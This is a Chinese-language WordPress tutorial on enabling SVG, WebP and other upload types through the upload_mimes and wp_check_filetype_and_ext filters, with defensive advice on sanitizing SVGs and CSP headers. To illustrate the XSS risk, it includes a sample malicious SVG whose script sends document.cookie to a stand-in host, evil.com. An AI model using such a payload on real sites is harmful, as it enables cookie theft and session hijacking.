搜索全站
安全防护 14 分钟阅读

WordPress 允许上传 SVG/WebP:文件类型白名单与安全风险

想上传 SVG logo 却被提示"抱歉,出于安全原因,不支持此文件类型"。本文讲清 upload_mimes 白名单机制、允许 SVG/WebP/JSON 等类型的代码写法、SVG 的真实安全风险与消毒方案、以及上传后不显示的排查。

U
UFO_PF 2016-02-22 · 阅读 14 分钟
Wo 安全防护
阅读提示
本文约 5,524 字,预计阅读 14 分钟。文中命令与配置均经过实测,可直接参考执行。

引言:SVG 上传不了,是有原因的

做站点时想上传一个 SVG 格式的 logo,WordPress 直接拒绝:

抱歉,出于安全的原因,这个文件类型不被支持。

这不是 WordPress 故意刁难。SVG 不是图片格式,它是 XML 文档,可以内嵌 <script> 标签和 JavaScript。上传一个恶意 SVG 等于上传一个可以执行脚本的文件——这是真实的 XSS 攻击面。

所以 WordPress 默认把 SVG 排除在白名单外。要放开,得理解放开的代价并做配套处理。

原理分析:上传白名单是怎么工作的

WordPress 用 wp_check_filetype_and_ext() 校验上传文件,核心是两张表:

  1. get_allowed_mime_types():MIME 白名单,通过 upload_mimes 过滤器可改;
  2. 文件扩展名与真实内容的比对:WordPress 会用 wp_get_image_mime() 读文件头判断真实类型,防止把 PHP 伪装成 JPG。
// 查看当前白名单
print_r( wp_get_mime_types() );
wp eval 'print_r( array_slice( wp_get_mime_types(), 0, 30 ) );'

默认的常见类型:

扩展名 MIME 默认允许
jpg/jpeg/png/gif image/* ✓
webp image/webp ✓(4.7+)
svg image/svg+xml ✗
ico image/x-icon ✓
pdf application/pdf ✓
mp4/mp3 video/ audio/ ✓
docx/xlsx/pptx application/… ✓
json application/json ✗
zip application/zip ✗(部分版本允许)
php — 永远禁止

注意:真实类型校验(文件头检测)优先于扩展名。你把 evil.php 改名成 evil.jpg 上传,WordPress 会读文件头发现它不是图片,然后拒绝。这层保护很有效。

但 SVG 特殊:它的”真实类型”就是 XML,文件头 <?xml 或 <svg,无法用它判断有没有恶意脚本。

保姆级实操

一、允许 WebP(无风险,推荐)

WebP 是图片格式,没有脚本执行风险,WordPress 4.7+ 已支持:

// 通常不需要加,如果遇到问题再加
add_filter( 'upload_mimes', function( $mimes ) {
    $mimes['webp'] = 'image/webp';
    return $mimes;
});

验证:

wp eval 'echo wp_get_mime_types()["webp"] ?? "not allowed";'

WebP 的好处很实在:同样画质下体积比 JPG 小 25%~35%,对WordPress 性能优化 和 Core Web Vitals 都有直接帮助。

二、允许 SVG(有风险,需配套处理)

最简版本(仅放开上传,不推荐用于多用户站点):

add_filter( 'upload_mimes', function( $mimes ) {
    $mimes['svg']  = 'image/svg+xml';
    $mimes['svgz'] = 'image/svg+xml';
    return $mimes;
});

这只是第一步,还有两个问题要解决。

问题 1:SVG 的真实类型检测失败

WordPress 读文件头发现是 text/xml 或 image/svg+xml,可能和扩展名对不上导致被拒。要补:

add_filter( 'wp_check_filetype_and_ext', function( $data, $file, $filename, $mimes ) {
    $ext = pathinfo( $filename, PATHINFO_EXTENSION );
    if ( 'svg' === strtolower( $ext ) ) {
        $data['ext']  = 'svg';
        $data['type'] = 'image/svg+xml';
        $data['proper_filename'] = false;
    }
    return $data;
}, 10, 4 );

问题 2:前台不显示(媒体库缩略图空白)

SVG 是矢量图,GD/Imagick 生成的缩略图可能失败。后台媒体库列表会显示空白:

// 让 SVG 在媒体库里正常显示
add_filter( 'wp_get_attachment_image_src', function( $image, $attachment_id, $size, $icon ) {
    $mime = get_post_mime_type( $attachment_id );
    if ( 'image/svg+xml' === $mime ) {
        $image[0] = wp_get_attachment_url( $attachment_id );
        $image[1] = 0;
        $image[2] = 0;
    }
    return $image;
}, 10, 4 );

问题 3:安全风险(最重要)

SVG 可以内嵌脚本:

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)">
  <script>fetch('https://evil.com?c='+document.cookie)</script>
</svg>

如果这个 SVG 被上传到你的站点并在前台用 <img> 引入,onload 事件不会执行(<img> 里 SVG 的脚本被浏览器禁用)。但如果用 <object>、<iframe>、或者直接访问 SVG 文件 URL,脚本就会执行,且是同源的,能读到 cookie。

三种处理方案:

方案 A:只允许管理员上传(推荐)

add_filter( 'upload_mimes', function( $mimes ) {
    if ( current_user_can( 'manage_options' ) ) {
        $mimes['svg'] = 'image/svg+xml';
    }
    return $mimes;
});

方案 B:上传时消毒(去掉脚本)

装插件 Safe SVG(WordPress 官方目录,作者 Daryll Doyle),它用 enshrined/svg-sanitize 库清洗 SVG,去掉 <script>、onload 等危险内容。这是最推荐的做法。

wp plugin install safe-svg --activate

方案 C:服务器层加 CSP 头

location ~* \.svg$ {
    add_header Content-Security-Policy "default-src 'self'; script-src 'none'; object-src 'none'" always;
    add_header X-Content-Type-Options "nosniff" always;
}

务实建议:个人/企业站(只有管理员能上传)用”方案 A + 装 Safe SVG”双保险;多用户站(作者也能上传)不要放开 SVG,改用 PNG/WebP。

三、允许其他文件类型

add_filter( 'upload_mimes', function( $mimes ) {
    // 压缩包
    $mimes['zip'] = 'application/zip';
    $mimes['rar'] = 'application/x-rar-compressed';
    $mimes['7z']  = 'application/x-7z-compressed';
    // 字体
    $mimes['woff']  = 'font/woff';
    $mimes['woff2'] = 'font/woff2';
    $mimes['ttf']   = 'font/ttf';
    $mimes['otf']   = 'font/otf';
    // 数据
    $mimes['json'] = 'application/json';
    $mimes['csv']  = 'text/csv';
    // 视频
    $mimes['webm'] = 'video/webm';
    return $mimes;
});

多站点要用 site_option 而不是过滤器,后台路径:网络管理 → 设置 → 上传设置 → “允许上传的文件类型”。

四、允许所有类型(极不推荐,仅本地开发)

// 仅用于本地开发环境!生产环境千万不要加
define( 'ALLOW_UNFILTERED_UPLOADS', true );

这个常量会让 WordPress 跳过 MIME 校验,等于允许上传 PHP 后门。永远不要在生产环境开。

五、批量转换已有图片为 WebP

装插件或命令行批量转:

# 用 cwebp 批量转换
find wp-content/uploads -name "*.jpg" | while read f; do
  [ -f "${f%.jpg}.webp" ] || cwebp -q 82 "$f" -o "${f%.jpg}.webp"
done

然后让前台优先用 WebP(Nginx content negotiation 或插件 WebP Express)。

六、验证是否生效

wp eval '
$m = wp_get_mime_types();
foreach (["svg","webp","json","woff2"] as $e) {
  echo $e, " => ", $m[$e] ?? "NOT ALLOWED", "\n";
}
'

常见踩坑与失败案例

  1. 案例一:加了 upload_mimes 过滤器但 SVG 还是上传不了——因为 WordPress 的真实类型检测把 image/svg+xml 判成了 text/xml。要同时加 wp_check_filetype_and_ext 过滤器。
  2. 案例二:多用户站点放开 SVG 后,有作者上传了带 <script> 的 SVG,管理员访问媒体库时 cookie 被窃取。SVG 的脚本风险是真事,多用户站不要放开。
  3. 后台媒体库 SVG 缩略图空白:wp_get_attachment_image_src 返回 false。用上面的过滤器补。
  4. ALLOW_UNFILTERED_UPLOADS 忘删:开发环境加了之后部署到生产,站点被上传后门。这个常量是高危项。
  5. 主题/插件里用 wp_get_attachment_image() 输出 SVG:SVG 没有尺寸信息,输出的 <img> 没有 width/height,会导致布局抖动(CLS 变差)。给 SVG 单独加 CSS 尺寸。
  6. IIS 服务器上 SVG 404:IIS 默认不认识 .svg 的 MIME 类型,要在 IIS 管理器里加 image/svg+xml。
  7. 对象存储的 MIME:上传到 OSS/COS 时 Content-Type 也要正确,否则浏览器不识别。

总结

放开文件类型的正确姿势:WebP 放心开(纯图片格式,体积还小 30%);SVG 要谨慎——先用 upload_mimes + wp_check_filetype_and_ext 两个过滤器放开,再装 Safe SVG 做消毒,并限制只有管理员能上传,多用户站点干脆不开;ALLOW_UNFILTERED_UPLOADS 只在本地开发环境用,生产环境出现这个常量等于开了后门。其他类型(字体、压缩包、JSON)按需加,但每加一种都要问一句”这个文件被执行会怎样”。服务器层给 .svg 加 script-src 'none' 的 CSP 头是很好的额外保险。

U
UFO_PF作者

专注 WordPress 生态的实战作者,内容以「可复制、可验证」为第一原则。

留下你的想法

邮箱地址不会被公开。带 * 的为必填项。